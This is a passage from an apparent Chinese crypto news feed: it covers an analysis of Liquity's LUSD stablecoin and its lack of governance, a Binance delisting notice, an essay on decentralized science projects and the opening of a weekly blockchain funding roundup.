随之而来的5.19市场大跌虽然验证了Liquity的核心机制，但也使得协议的TVL锐减，LUSD的流通数量跌至不足5亿枚。此后LUSD的流通量也随着市场的再一次上行而逐步增加，在2021年11月底，LUSD的流通量达到了9.3亿美金。在随后的22年加密熊市中，LUSD流通量也随之下降至5亿左右，随后在22年5–7月，UST、三箭、Celsius相继倒下，市场出现了严重的流动性危机，LUSD的流通量最低降至1.58亿，不及高点的1/10，当然，整个去中心化稳定币赛道在此阶段都受到了重大的打击，稳定币协议的发行规模纷纷下降。 而在23年2月开始，Binance 上线LQTY和USDC脱锚事件给Liquity带来了不错的用户增量，目前LUSD发行规模2.68亿，居所有去中心化稳定币的第三位，仅次于DAI、FRAX和USDD，取得这种规模实属不易。   从用户数据来看，在Liquity开设Trove的用户（即抵押ETH生成LUSD的用户）目前已经超过了1000个，目前的Trove数已经接近历史最高点的1300个，尤其是我们可以看到在今年2月份以 来，这项数据取得了15%的增长，也显示了近期其他稳定币风险事件对LUSD推广的反向助力。 来源https://dune.com/dani/Liquity 但是，LUSD的用例拓展情况却相对一般，并未见明显成效。 来源https://dune.com/dani/Liquity 从LUSD分布来看：目前，有总计64.6%的LUSD存在稳定池内，尽管稳定池内收益除了LQTY代币激励还包括ETH的清算奖励，但是上线以来，Liquity总计清算了1378枚ETH，而LQTY代币激励数量则已经接近了2400万枚，不论以何时的ETH/LQTY价格计算，两者之间都相差了至少一个数量级。说明用户生成LUSD存在稳定池，主要还是为了赚取增发的LQTY奖励。也就是说，目前LUSD最大的用例并不“有机”，尤其在后续LQTY奖励降低的情况下，Liquity的稳定池能否维持这个规模也存在疑问，我们将在3.4.3详细讨论这一点。   除了稳定池以外，LUSD分布较多的Optimism网络（占比2.4%，Liquity获得了不少Optimism官方的OP代币激励）、Uniswap V3（占比1.3%）以及Curve的LUSD-3CRV池（占比1.2%）。这些场景LUSD的总体占比并不高，某种程度上也是因为liquity的绝大部分激励都用在了稳定池的激励上，其他场景的激励并不多。 目前并没有中心化交易所支持LUSD作为交易对，在线下支付方面LUSD的用例也并不多。我们也统计了LUSD的日均交易量、转账数量以及持有人数数据，与同为去中心化稳定币的DAI和FRAX做比对，同时我们也选择了在ETH网络上最活跃的稳定币 — — USDC作为比对。 我们可以看出，从交易量、转账数和持有人数的数据来看，LUSD和目前有10.4亿流通量的FRAX都非常接近，当然这也和FRAX目前大致有7.85亿的流通来自AMO有关，除去这部分的FRAX之后，用户持有的FRAX实际数量为2.55亿左右，与LUSD的流通市值非常接近。而相比目前去中心化稳定币龙头的DAI，LUSD的交易量和转账数相较DAI存在着20倍左右的差距，而持有人数的差距则更大。这也显示了稳定币赛道由于明显的网络效应所带来的先发优势。 而与USDC相比，即便是DAI在交易量和转账活跃度方面也有数量级的差距，这一方面显示了中心化稳定币确实是目前更加符合用户使用习惯的稳定币，另一方面也显示了去中心化稳定币赛道的空间。 综上所述，经历了2年的发展，Liquity目前业务发展情况中规中矩，相较行业龙头DAI还有很大差距。近期的其他稳定币的风险事件在一定程度上促进了LUSD的推广，不过LUSD总体的用例扩展情况较为一般。 Liquity目前是完全去中心化稳定币的龙头，但是事实上LUSD的竞争对手并不仅仅是完全去中心化稳定币，也包括“部分去中心化”稳定币如DAI和FRAX，以及中心化稳定币USDT、USDC等。当然与LUSD直接构成竞争关系的，还是去中心化稳定币。 目前市值排名前十的去中心化稳定币，来源：Coingecko 3.3.1 去中心化 完全的去中心化是Liquity和LUSD最显而易见的优势。目前的LUSD仅由ETH超额抵押生成，ETH是完全去中心化的资产，因而LUSD也是完全去中心化的资产。去中心化的优势我们可以从上文提到的近两个月的监管事件中非常明显的感受到： 而上述列表中除sUSD以及LUSD之外的其他去中心化稳定币，对于其他的中心化稳定币都有相当程度的依赖： DAI目前有超过60%对中心化稳定币的依赖； FRAX抵押物的中心化稳定币资产占比超过75%（根据Frax给定的Decentraliazition ratio得出）； alUSD、DOLA、agEUR等去中心化稳定币，他们的抵押物构成都有一半以上的来自其他的稳定币（USDT、USDC、DAI）或稳定币在其他DeFi协议的收益凭证，对于中心化稳定币的依赖程度也都超过60%。 关于去中心化的意义，市场已经有了比较充分的认知，尤其是在Binance 上线LQTY之后，也是对Liquity一次极佳的广告。放眼未来，在美国明显的强监管趋势之下，任何针对稳定币的监管行动都有可能是Liquity的机会，Liquity仍然会长期受益于其去中心化的属性。 3.3.2 优秀的机制设计 在*《Liquity：稳定币市场的后起之秀》*一文中，我们已经对Liquity的整体机制做了比较详细的介绍，我们相当看好Liquity的整体机制设计。即便又过去了接近两年的时间，在机制设计层面，我们仍然没有看到能接近Liquity的新的稳定币产品。概括起来，Liquity的机制设计优秀之处在于： Liquity从协议层面为LUSD价格大致固定在【0.995～1.1】之间，在区间之外给市场上的所有用户都提供了非常便利的套利机会，从而在完全去中心化的前提下，实现了比较刚性的价格稳定性，这种价格的稳定性会给所有的市场参与者良好的稳定预期。 由于有了稳定池，并且稳定池预先同意作清算人，Liquity实现了实时清算，而无需进行复杂繁琐的拍卖流程。实时清算可以免除极端情况下网络拥堵对系统可能存在的安全隐患，更加有效的保障协议的安全。同时稳定池还带给了LUSD天然的用例，由于稳定池可以获取清算罚金，所以当行情剧烈下跌时，稳定池内的LUSD通常能够获得较高的收益。除了稳定池之外，Liquity的清算系统还设计了债务再分配-恢复模式用来弥补清算池可能存在的不足，从而实现了相当程度的安全性，这一点从上线2年以来Liquity成功度过了行情的剧烈波动也可以佐证。体现了代币用例层面，就是LQTY无需和MKR和FLX一样，需要充当系统的最后贷款人。 由于协议安全性可以由稳定池-债务再分配-恢复模式完全保证，所以Liquity可以允许用户以150%（事实上风险评估机构Gauntlet建议Liquity将此值改为130%）的超额抵押率来进行贷款，从而实现高资本效率。从而从某种层面上，Liquity实现了稳定币的不可能三角（去中心化-价格稳定-资本效率）：在核心机制层面，Liquity选择了价格稳定和去中心化，但是Liquity又允许部分用户从自身需求出发，在特定阶段实现高达89%的资本效率（110%的最低抵押率），几乎已经达到了去中心化稳定币所能支持的资本效率上限。 在上述优秀的机制设计之下，Liquity具有了稳定币协议最多的被Fork次数。根据DeFiLlama的统计，总计有16个协议Fork了Liquity，远多于MakerDAO和Frax Finance的4个。Liquity优秀的机制设计，是支持其长期发展的根源。 相比其他的稳定币项目，Liquity本身协议的创新之处很多，部分特性也存在不小的争议，也给协议带来了一定的竞争劣势。 3.4.1 无治理 无治理是Liquity一个非常值得讨论的特性。Liquity对于无治理的坚持是非常彻底的，包括团队自身并不运行任何前端，以及协议参数都是由预先写好的算法来进行更新，任何人都不可能更新Liquity协议的代码，因而代币LQTY并没有治理功能，而仅是分享协议铸造和赎回费的收入。 无治理当然给Liquity带来了诸多好处，包括： 避免个别人或者小团体的行为与整个协议的长期目标产生冲突，也可以避免无聊的协议政治。前者的例子数不胜数，如Uniswap的DeFi教育基金事件、SushiSwap以及Abracadabra团队出现的信任问题等等；后者的典型例子，是在Uniswap跨链到BNB Chain时跨链桥选择的整个过程，不同的利益群体围绕到底选择Layerzero和Wormhole的讨论和投票。 协议安全性得到了进一步保障。Liquity至今运行2年，从未出现过任何安全事故，这在借贷/稳定币协议里可以说是非常罕见的，稳健如Compound也曾经因为激励参数的问题导致COMP过量增发。并且由于Liquity并不更新代码，随着时间流逝，代码出现问题的可能性就越来越低。 协议层面更进一步的去中心化。在目前的Dapp架构中，前端模块对中心化服务还会或多或少的有依赖，而由于Liquity并不运行任何前端，从协议层面就可以更加免除对中心化服务的依赖。从现实例子出发，这点的明显好处在于，Liquity可以避免类似在OFAC制裁Tornado Cash事件后，Uniswap和Aave等协议由于部分API供应商的错误，而导致误封禁部分用户的情形。 笔者说无治理可能是Liquity的缺点，主要是因为无治理的特性会限制Liquity协议的用例拓展，以及对新变化的适应能力。 前文提到，目前LUSD的用例拓展并不算成功，这某种程度上也是因为无治理导致的。Liquity预留的储备LQTY代币仅为200万枚，其余LQTY均已经在代码里规定了用途无法更改。这就使得Liquity想要进行更多用例拓展和运营活动的抓手都不足，比如Liquity就基本没参与Curve war–这一2022年稳定币领域最大的叙事。 又比如，在ETH Merge以及上海升级之后，ETH将会越来越多地参与到质押中，在主网上流通的ETH可能会有很大一部分以质押衍生品（Liquid Staking Derivatives）的形式存在，在这种情况下，对于所有以ETH为抵押物的稳定币协议而言，是否需要支持LSD、如何支持LSD都是需要讨论的问题，但在Liquity的无治理机制之下，除非Liquity发行新版本，否则协议也无法适应这些新的变化。但如果不适应这种变化，那可能有40%-50%（假设ETH质押率为40%～50%）的ETH将无法作为LUSD的抵押物，这会更加限制仅由ETH作为抵押物的Liquity的天花板。 笔者认为，愿意治理在某种层面上也是团队愿意为项目发展承担责任的表现，DeFi世界目前虽然已经有了一些明确的商业模式，在各个版图内都已经有了处于绝对领先地位的协议，但是如果我们以五年乃至十年的维度来看，DeFi的发展与创新仍然是非常迅速的，各个领域的竞争者也仍然在不断地涌现。在不断变化的外部环境之中，一个努力尽责、并且对行业深入理解的团队是任何项目能够获得长期成功的关键。 从DeFi OG的发展历程来看，我们也不难看出治理&团队的重要性： Uniswap在V2已经占据市场主导地位之时，仍然推出了V3版本的产品，并且此后开始拓展NFT交易相关业务； Aave从最初ETHLend的Peer 2 Peer的借贷产品，到Peer 2 Pool产品，又到后来的Aave v3以及新发稳定币GHO，业务形态和边界一直在发生变化； Synthetix从v1版本的稳定币，到v2版本在以太坊主网上线衍生品交易市场但是长期只有不足50人交易，到Optimism网络最高达到5亿美元日交易量，再到全新设计的v3版本，尽管产品形态距离他们的想象仍然有差距； Curve整个协议的设计都是围绕着治理展开，并且团队推出了v2版本的Curve切入非对价资产的交易，另外还准备上线crvUSD； 而目前领先的“去中心化”稳定币协议MakerDAO和Frax Finance，团队也同样积极地主动调整协议来应对变化： MakerDAO的稳定币从SAI（单抵押版本的DAI）到DAI，再到312之后上线Stable Vault以及PSM（价格稳定模块）稳定价格，上线D3M（DAI直接存款模式）主动调节市场的供需，并且推动RWA（真实世界资产）的落地。近期MakerDAO更是准备扩展借贷业务并切入LSD市场，并且进行了组织变革–将MakerDAO拆分为更多的子DAO，以期更快地推进业务进展。尽管PSM和RWA业务的推进使得MakerDAO越来越偏离去中心化和去信任化，但是对于DAI和MKR的持有人来说，都是做了在当时当刻对协议更加有利的选择。 Frax最初是作为算法稳定币面世的，当算法稳定币的叙事不再被市场所认可，Frax又及时上线了AMO（基于算法的市场操作控制器）模块来承担供需调整。此后还拓展业务到FPI、Fraxswap、Fraxlend以及Staking业务，也积极地参与Curve War，业务边界不断扩展，FXS代币市值排名也一路上升。 诸如上述的协议业务方向的变动或者针对协议模块的更新，都是无治理的Liquity所难以做到的。笔者认为，无治理可以作为稳定币协议的最终追求，当整个协议已经到达发展的成熟状态时，无治理可以帮助协议更好地维护安全，也免除人治可能的种种问题。但是在目前整个DeFi乃至Web3领域的蓬勃发展才仅仅开始不到5年时，就主动放弃变化的权利，将会很难应对后续的环境变化和激烈的后来者竞争。 3.4.2 协议收费结构 关于Liquity另一个值得讨论的问题是无息借贷，以及无息借贷所带来协议整体收费结构的问题。在Liquity借贷并不收取利息，而是在铸造和赎回收取手续费，这个手续费比例由预先设定好的算法所控制，不过在Liquity协议运行的绝大多数时间都是0.5%。 纵观所有的去中心化稳定币协议，我们可以发现，（排除清算收入之外）他们获取收入的通常方式有如下3种： 通过收取利息。 这个比较好理解，抵押其他资产生成稳定币可以理解为抵押贷款，贷款需要付出利息。这也是稳定币最传统的收费方式，如MakerDAO的DAI，除了PSM模块生成的DAI之外，其他所有的DAI都需要支付利息（稳定费，Stability Fee），每个不同的Vault收取不同的利息，利息参数可以通过治理来修改。 通过收取铸造/赎回费。 用户仅在铸造稳定币或者赎回抵押物的时候需要支付给协议一定比例的费用。采取这种收费方式的这类协议通常鼓励用户长期持有其稳定币。 通过公开市场操作。 是指稳定币协议方掌握了某种直接铸造或者销毁其稳定币的方式，铸造稳定币后发送到对应矿池来获得收益，典型的如MakerDAO的D3M和Frax Finance 的AMO模块。 我们来看一下几个去中心化稳定币的协议收入获取方式： MakerDAO的收入获取方式是1和3 Frax Finance的收入获取方式是2和3 在21年底22年初火热的DeFi 2.0概念中的代表稳定币协议的abracadabra（稳定币为MIM）的收入获取方式是1和2 另一个DeFi2.0代表对稳定币协议Alchemix（稳定币为ALUSD）相对比较特殊，协议并不直接向用户收取利息或费用，而是从用户资产所产生的收益中分成10%。这种方式本质上也可以看作是1，只不过利息的付出换了一种形式 Liquity的收入获取方式是2 另一个完全去中心化的稳定币Reflexer Finance获取收入的方式是1 仅有2这种收费方式是存在较多问题的，一方面，其收入的获取通常是跳跃性的，收入并不稳定；但更严重的是，会导致稳定币协议无法从其发行的稳定币的规模中持续获利。 对于稳定币项目方（或者治理代币的持有人），从稳定币协议的资产负债表视角来看，流通中的稳定币是他们的负债，协议需要承担兑付责任；而用户的抵押品则是他们的资产。如果不能从稳定币规模中获利，也就代表着他们负债规模的提升并不能对应他们收入水平的提升，但负债规模的提升事实上隐含着更大规模的风险承担，这里出现了明显的风险收益不对等，对于协议所有者（LQTY持有人）来说是非常不利的。 正如我们之前在Reflexer Finance研报中*曾经测算过的，Liquity的收费结构，使得其P/S的估值远高于MakerDAO和Reflexer。 另一个直观的感受则是，LQTY的Staking APR很低，过去1年LQTY Staking的APR平均在5%左右。而LQTY并没有治理功能，唯一用例就是Stake来获取协议的铸造和赎回费用，这种低APR也不利于凝聚社区。 LQTY最近一年Staking APR 来源https://dune.com/dani/Liquity 事实上，对于稳定币协议而言，收取铸造费相对于收取利息，在协议刚刚上线的规模扩大阶段可以非常有效的将费用“提前”分配给参与用户，从而帮助协议度过冷启动阶段，同时代币的高收益率也有助于提高社区的凝聚力。Frax最初上线时，协议收入也仅有铸造/赎回费，但是他们早在上线不足3个月时，就已经提出了AMO的构思，并在21年10月成功上线了包括投资、借贷、流动性等多种AMO，其协议收入来源变得更加复杂多样，收入水平也明显提高。 FRAX协议收入 数据来源https://app.frax.finance/amos Liquity在协议刚上线的第一年，LQTY的Staking收益率也较高，平均APR超过30%，如果后续能修改收费方式，通过收取利息或公开市场操作的方式使得用户持有的LUSD能长期地给用户产生收益，那么协议也有可能获得比较有效的二次腾飞。 QTY历史Staking APR（30天平均APR） 来源https://dune.com/FlyingLittleToe/liquity 可惜在Liquity的无治理模型下，类似的调整并不可能实现。 3.4.3 未来激励不足 关于激励问题，我们需要回顾一下LQTY的代币分配情况。LQTY总量100,000,000(一亿)，在2021年4月5日Liquity主网上线时一同发布，其中35.3% 分配给 Liquity 社区，包括： 32,000,000 枚LQTY分配给 LQTY 奖励池。这些代币用于激励稳定池存款，累积发行量遵循函数：32,000,000 (1–0.5^n ），n为发行之后的年数。也就是发行量逐步减少，在第一年分发1600万个，第二年分发800万个； 1,333,333 枚LQTY 分配给 LUSD-ETH Uniswap 池的 LP，在协议上线之后的六周内分发完毕； 2,000,000 枚LQTY 预留给社区储备基金。 稳定池的奖励分发详情https://medium.com/Liquity/Liquity-launch-details-4537c5ffa9ea 从分配给社区的LQTY分配情况我们可以看出，LQTY最主要激励的就是稳定池，90%的LQTY都分配给了稳定池。在Liquity刚上线时，稳定池的收益也确实相当高，在21年的大部分时间都在20%以上，如此高且稳健的稳定币收益足以吸引用户前来使用Liquity。 稳定池历史APR 来源 https://dune.com/FlyingLittleToe/liquity 目前Liquity上线接近24个月，上述预留给稳定池的LQTY仅剩余800万枚，在2023年4月-2024年4月可以释放400万枚LQTY，以目前2.2U的价格计算，未来一年用于稳定池激励的LQTY仅剩880万美金；而目前LUSD的流通量为2.68亿枚：一方面，LQTY对当前已经在稳定池内LUSD的激励作用在减弱，APR低于10%甚至5%将会是常态（8.8/268=3.7%）,而目前LUSD的主要收益场景就是在稳定池存款，在这种低APR下能否保持相同的规模存在疑问；另一方面，想要通过稳定池的激励来激励更多的用户参与到Liquity协议中来的难度也会增大。 笔者认为，Liquity协议还没有成长到可以在无激励的情况下保持同等规模的地步（更遑论增长），但LQTY并无通货膨胀计划，后续的发展可能面临更多的挑战。 本文我们分析了Liquity的创新产品Chicken Bonds的产品逻辑和发展情况，也分析了Liquity的业务发展情况。总体而言，Liquity在行情剧烈波动的2年间成功的生存了下来，目前成为发行规模前四的去中心化稳定币，这个成绩十分不易。但是从用例拓展来看，Liquity所取得的成效相对一般。 此外我们分析了Liquity的竞争优劣：在目前的稳定币市场中，凭借完全去中心化的叙事和优秀的产品机制设计，逐步加码的稳定币监管可以视为对Liquity持续的利好，因为Liquity能为市场和用户提供更符合加密精神的、去中心化的稳定币选择。但是Liquity的无治理和收费结构问题也影响了LUSD的用例拓展以及协议获取更高的收入，叠加LQTY预留给未来的激励已不多，Liquity未来的发展仍然面临着不小的挑战。 https://www.chickenbonds.org/blog-posts/where-does-the-amplified-yield-in-chicken-bonds-come-from https://docs.chickenbonds.org/ https://dune.com/chickenbonds/lusd https://dune.com/dani/Liquity  ( 6 min )
    币安创新区将移除SHIB、1INCH、TWT和FXS
    PANews 4月17日消息，币安发公告称，根据最近的审核，币安决定在2023年04月18日将以下币种移出创新区：Shiba Inu (SHIB)、Frax Share (FXS)、Trust Wallet Token (TWT)、1inch (1INCH)。与这些币种相关的其他服务不会受到影响。 币安在此公告中强调：“引入创新区是为了给币安用户一个安全的地方来交易创新的项目。随着时间的推移，其中一些项目已经证明了它们的价值并达到了我们期望的高标准。当我们在定期项目审核中发现此类项目时，我们会将它们移出创新区。”  ( 1 min )
    去中心化科学 (DeSci)：区块链如何颠覆科学格局
    作者：Rui, 推特@@popolandRuii, SevenX Ventures 本文仅供交流学习，不构成任何投资建议。 2022 年底我共同发起了 DeSci NYC 社区，在纽约定期举办聚会，内容涵盖从 AI 驱动的蘑菇科学、蜜蜂神经研究到区块链技术。我逐渐意识到去中心化科学（DeSci）对于任何领域的人来说都是新鲜的概念，此文将覆盖我所理解的 DeSci 架构、国际最核心的 DeSci 项目、未来的发展趋势。 文章结构： ? 传统科学研究面临的挑战 ? 对去中心化科学（DeSci）的紧急呼吁 ⛓️ 基础设施：以太坊、扩容 L2、存储 ⚙️ 中间件：IP-NFT、法律、数据库、ZKP ?️ 应用：融资、数据市场、研究工具、发布、声誉系统 ? 社区：DeSci NYC、DeSci Berlin、DeSci Tokyo 等 ✨ 我如何看待未来的挑战和机遇 ?‍⬛ 结语   传统科学研究面临的挑战 长期以来科学研究一直是创新的基石，推动着广泛领域的进步。然而，传统的研究领域一直受到许多挑战的困扰： 随着传统科学“象牙塔”的局限性越来越明显，DeSci 解决方案的紧迫性越来越大。DeSci 使科学家能够以透明和协作的方式访问资源、共享数据、获得资金、进行同行评审和发表研究。这种对传统方法的突破性替代方法正在为建立一个更易于访问、去中心化和包容的科学社区铺平道路。 我将按照以下结构开始 DeSci 之旅： 基础设施 DeSci 项目通常以以太坊区块链为基础，允许人们开发应用程序、进行交易和利用存储。为了优化性能和最小化成本，经常利用 Optimistic Rollups (OP) 和 zkSync 等扩展解决方案，它们处理链下交易并定期将汇总结果提交到以太坊主链。此外，Arweave 等存储协议提供非结构化数据或文件存储，在安全性、可靠性和抗审查性方面都优于传统的web2存储。大多数 DeSci 项目都建立在这个强大的基础设施之上。 如果您不了解区块链基建，请访问以太坊基金会官网。 人们希望为图形或表单等结构化数据提供一种低成本、高效的去中心化存储解决方案，由于缺乏此种方案，目前开发人员被迫依赖集中式解决方案，最终将导致单点故障、可访问性和管理问题。 DBDAO是一种创新的数据库结构，它将每一行数据都变成了一个NFT，贡献者可以在数据库变现时分享收益。此外，DBDAO 将每个数据库都变成了一个 DAO，允许管理员有效地管理访问和审查控制。随着它的发展，我们可以看到使用 ZK（零知识）技术保护数据的有趣潜力，同时确保购买者认识到数据库的价值。 法律条款：智能合约中的协议 通过将具有法律约束力的协议纳入 NFT 的智能合约，各方可以维护自己的利益并遵守适用的法律法规。为了便于访问，这种法律协议应该尽可能让法律专业人士和区块链工程师都能理解。 OpenLaw 正在构建一个技术堆栈，以帮助使用标记的法律模板来支持智能法律协议。这种方法可能对那些喜欢更传统的合同创建过程的人有益，但它可能不具备自定义。   所有权：IP-NFT 建立和规范知识产权 (IP) 的所有权在科学领域至关重要。这可以通过 NFT 来实现，NFT 是区块链上的数字资产，通过增加资产的流动性，将创建动态的 IP 市场。这使得 IP 所有者可以与不同实体之间销售或分割知识产权许，同时确保 IP 所有者获得公平份额的二级市场版税。 Molecule发布其标准 IP-NFT，是用来验证 IP 资产所有权和真实性的唯一标识符，可以插入法律协议，自定义智能合约功能和碎片化所有权。从技术上讲，元数据存储在 Arweave 上，而 IP 和许可证存储在 Nevermind（集中式数据存储）上，理想情况下，他们应该使用分散式数据存储层（但是现在没有太成熟的）。 隐私：零知识证明 当我们提到开源的重要性时，我们还应该强调研究的隐私控制，DeSci 应该在促进透明度和协作与保证数据机密性之间取得平衡。 零知识证明 (ZKP) 来了，它是一种加密技术，对于去中心化科学研究至关重要，它们可以保护隐私，允许研究人员在不损害数据机密性的情况下相互借鉴，并帮助研究人员遵守隐私法规。 应用层 融资 以DAO为结构的去中心化融资已经成为一种革命性的方式，使个人和组织能够直接向他们信任的项目提供资金。它消除了中间的中介，并提供了更高的透明度，让贡献者能够看到他们的资金是如何使用、并有权参与决策过程。 最著名的 web3 筹资平台Gitcoin成立于 2017 年，旨在通过赏金支持开源项目并从中获利，该平台基于二次筹资，这是一种民主分配慈善资金的新机制，允许较小的贡献者拥有更大的收益影响。迄今为止，Gitcoin Grants 已经筹集了 50 多万美元的资金。 Molecule是一个流行的 DeSci 资助平台，专注于生物制药领域，提供了一个创建混合合法智能合约原始 IP-NFT 的协议，将研究人员和资助者之间连接起来，现已拥有 250+ 研究项目，拥有 6 个 Bio DAO。Valley DAO也使用类似的方法。 Bio.xyz为 DeSci DAO 提供launchpad、资源、指导、共享网络以及一套法律和智能合约。他们的目标是使 DeSci DAO 能够利用 IP-NFT 来资助、管理和开发知识产权，从而促进数字 IP 资产的寒武纪爆发。现在生态中有 6 个 DAO。 有很多有趣的细分领域的 DAO。VitaDAO专注于长寿研究，建立了完整的 token 激励机制。 HairDAO用于脱发治疗研究；AthenaDAO对女性健康的贡献；PsyDAO为 Psychedelics 的早期研究提供小额资助；CryoDAO资助冷冻保存领域，推动尖端医疗技术；FrontierDAO专注于空间、聚变能源和开发空间元宇宙。 由于数据资源有限且昂贵，许多研究人员面临挑战，这主要是由于 Web2 公司严密保护他们的数据。想象一下开放数据市场的潜力，这是一个大胆的想法：个人能够从他们的数据中获利，同时允许研究人员改进访问权限、促进协作、跨平台的交流。 正如我们上面提到的，DBDAO是一种创新的数据库结构，其核心思想是让人们能够将自己的数据货币化。在我看来，DBDAO 不仅仅是一个数据库结构，它也是对传统数据贡献模型的重大转变，因为它可以防止研究者在盈利或者融资之前为数据预付费用，同时也用代码的方式保证了数据贡献者的预期收益。 Fleming Protocol是一种开源数据经济，旨在通过激励患者来推动协作式生物医学，主要关注健康数据所有权。他们为患者提供了将数据存储在 IPFS 中的基础设施，确保他们保持完全的保管和控制。此外，它使患者用户能够将他们的数据货币化，能直接获得数据变现的收益，其中一部分交易费用将贡献给 FlemingDAO 国库。 研究工具 在进行研究时，经常会涉及到各种格式，例如报告、图表、代码和外部 API。我们需要一个多功能去中心化平台来无缝串联研究过程，实现动态的研究发布。 DeSci Node是一个非常有意思的应用程序，它允许研究人员将手稿中的表格和图形与数据和代码链接起来，并创建一个动态的可互操作的版本记录，从而提升研究过程。Beta 版本于 2023 年 2 月 21 日发布，现在节点存储在 IPFS 上的开放状态存储库中，他们的未来路线图是集成计算以实现无缝发布，将资金与 Gitcoin 和 Hypercerts 集成。 LabDAO是一个新的研究组织，不仅允许您去许可发布、获得资助而且还可以使用研究工具。这些工具从用于小分子对接、计算基础设施和湿实验室访问的 Notebook 不等。 发布平台 不再有要么发表要么消失。传统的科学出版物及其同行评审系统严重依赖少数主要行业参与者，他们控制大多数期刊、数据库和指标，同时将大多数研究者置于付费墙之后，这对公平性、质量、成本、无偿劳动、透明度无疑是巨大挑战。 The ResearchHub由 Coinbase 的联合创始人 Brian 共同创立，是一个供研究人员自由分享作品、浏览个性化提要、进行同行评审、发布科学问题悬赏、使用研究工具并获得奖励的平台。他们有一个原生代币 RSC，用于激励内容创建、提示有价值的内容并为社区的关键决策投票。 信誉系统 为了培养一个高质量和值得信赖的社区，DeSci 平台应该建立完备的声誉系统，就像那些 Web2 论坛一样，让具有真正专业知识的个人具有更大的曝光和声量。然而，一个重大挑战是区块链技术固有的匿名性，其中代表用户的钱包地址不能直接链接到他们的真实身份。 首先，我们需要跟踪去中心化平台上的用户交互，例如点赞、评论和发布，以帮助建立可信度和专业知识。其次，利用分散的出版工具连接用户的科学工作，提高透明度和问责制。此外，将链下传统学术身份与链上记录相结合，创建一个无缝的信誉系统，承认并验证用户的证书和成就。 DeSci社区 到目前为止，我们已经看到来自世界各地的充满活力的社区试图聚集资源和人才来建设 DeSci 的未来。向DeSci NYC、DeSci Berlin、DeSci Tokyo等社区致敬。 很高兴看到 Messari 研究表明，有 85 个 DeSci 项目在现在运行，其中超过 50% 是在过去一年启动的。然而，挑战也随之而来： 1. 熟练掌握代币经济并建立可持续模型 虽然一些平台已经引入代币作为激励，但他们的币价管理非常差。虽然最初可能会吸引一些为了建立声誉的用户，但最终可能会阻碍产品长期参与和增长。完善代币用途、重新评估token设计的合理性、建立品牌共识以及发展战略关系等行动至关重要。代币经济学可以是一把双刃剑；为了实现所承诺的自由市场未来，平台或 DAO 必须掌握token游戏。 2. 建立DeSci时代的新规则 不得不承认，传统的科学系统用中心化把关的方式保持了较高的研究质量。当我们努力创建一个开放的去中心化科学平台时，必须防止低质量和混乱的涌入。我们的重点应该是开发一个稳健的框架，确保可访问性，同时也保证具有真正才能和知识的个人得到适当的认可和奖励。实现这一目标需要实施健全的代币经济学、有效的 DAO 审查机制和基于声誉的优先系统等。 3. 让所有的科学从事者加入 打造适合资本、研究机构、研究人员、行业、期刊和公众的新科学工作流程对于 DeSci 的成功至关重要。DeSci 最初可能作为一种补充方法，在最终取代之前需要与现有框架进行集成和协作。 4. 小心去中心化的黑暗森林 我们必须注意去中心化的优势可以被恶意方利用来违反道德和法律，例如去中心化存储可以用来保存和分发被禁止的研究内容。这是道德问题而不是技术问题，为了保护去中心化的长期价值并确保其被社会接受，我们必须实施由 DAO、资助者或其他机制主导的法规。通过这样做，我们可以维护科学研究的完整性，并确保所有人都能享受权力下放的好处。 我们常听到对于区块链基建性能的抱怨，但是随着许多人致力于建设，可扩展性、安全性、性能、成本都会得到改善，直到有一天我们不需要为了更好的基础设施而牺牲任何东西。 中间件提供商必须为法律问题、知识产权所有权、隐私和数据存储等建立新的标准。为了实现大规模使用和长期价值，他们还应该着眼于建立行业共识，也许短期内会有很多竞品，但是逐渐卓越者会形成相对稳定的标准。 DApps 可以采用相同的基建标准来实现互操作性、设计好的用户体验以吸引各方、创建可持续的激励模型并根据信仰来设计界面。要知道，产品的设计可以塑造行业的重点，是注重是利润还是声誉？是鼓励大众研究人员还是激励精英？产品的制作方式都会改变游戏规则。 如今我们在世界范围内组织不同的 DeSci DAO，以提高意识、聚集人才、资金和资源进行创新。DeSci 峰会是一个很好的开始，我们还可以走进校园、机构和不同的国家进行进一步的运动。这项任务非常艰巨，需要利用去中心化技术、迁移现有的科学研究人员以及建立新的期刊等等。但随着 DeSci 的扩展，我们正处于一个转折点的风口浪尖。 我相信任何新事物的建立都会伴随着批判和挑战，这也正是我们的目的：去畅想和搭建一个可能更好的未来。 俺们的月度desci聚会 笔者 Rui，推特 @popolandRuii。 英文原文：https://twitter.com/popolandRuii/status/1643392586021830658?s=20  ( 4 min )
    PA图说 | 一图掌握Polygon上NFT一周关键数据（04.10—04.16）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    融资周报 | 公开融资事件26起；公链Sei Network以 8 亿美元估值完成 3000 万美元融资，Jump Capital等参投
    本期看点 据 PANews 不完全统计，上周（4.10-4.16）全球区块链有26起投融资事件，资金规模约1.64亿美元。与前一周相比均大幅减少，概览如下: 下面我们一起来全盘回顾上周的投融资事件。 去中心化交易平台UXUY完成320万美元融资 去中心化交易平台UXUY完成320万美元的种子轮融资，Bixin Venture、WaterDrip Capital、KuCoin Ventures、Pionex、LK Venture、Arcane Group、Daoverse Capital、Lapin Digital等参投。UXUY是基于MPC钱包的去中心化交易平台，通过为用户提供免助记词和免Gas费的方案降低使用门槛。 链上衍生品协议Pear Protocol完成125万美元种子轮融资，JY Capital等参投 链上衍生品协议Pear Protocol完成125万美元种子轮融资，Flow Ventures、RNR Capital、Portico Ventures和JY Capital等参投。据悉，Pear Protocol 支持交易者通过其投资组合作为抵押品来开仓多种资产的多头或空头头寸。 NFT及数字艺术社交平台HUG完成500万美元种子轮融资，OKX Ventures等参投 NFT及数字艺术社交平台HUG宣布完成500万美元种子轮融资，Web3投资基金DIGITAL领投，OKX Ventures、欧莱雅旗下BOLD企业风险基金、Venrex、Jae Holdings、Cryptology、Samara和Aa Sons等参投。HUG于2022 年 2 月推出，创始人是Facebook创始人马克·扎克伯格的姐姐兰迪·扎克伯格，该平台帮助艺术家销售数字和实物商品，并与数字藏家建立联系，新资金将用于加速HUG产品增长，并将平台商业功能与现有社交管理和发现工具进行整合。 元宇宙公司“优立科技”完成近亿元Pre-B轮融资 元宇宙核心技术提供商“优立科技”宣布完成近亿元Pre-B轮融资，本轮融资由鲲鹏一创、和诚资本等机构投资。资金将主要用于产品迭代、市场拓展以及技术团队扩充。优立科技（Eulee）是一家元宇宙核心技术提供商，专注为企业提供三维数据管理、数字孪生创建及应用。 音乐销售平台EVEN完成220万美元种子轮融资，CSA Partners领投 区块链音乐作品销售平台EVEN宣布完成220万美元种子轮融资，CSA 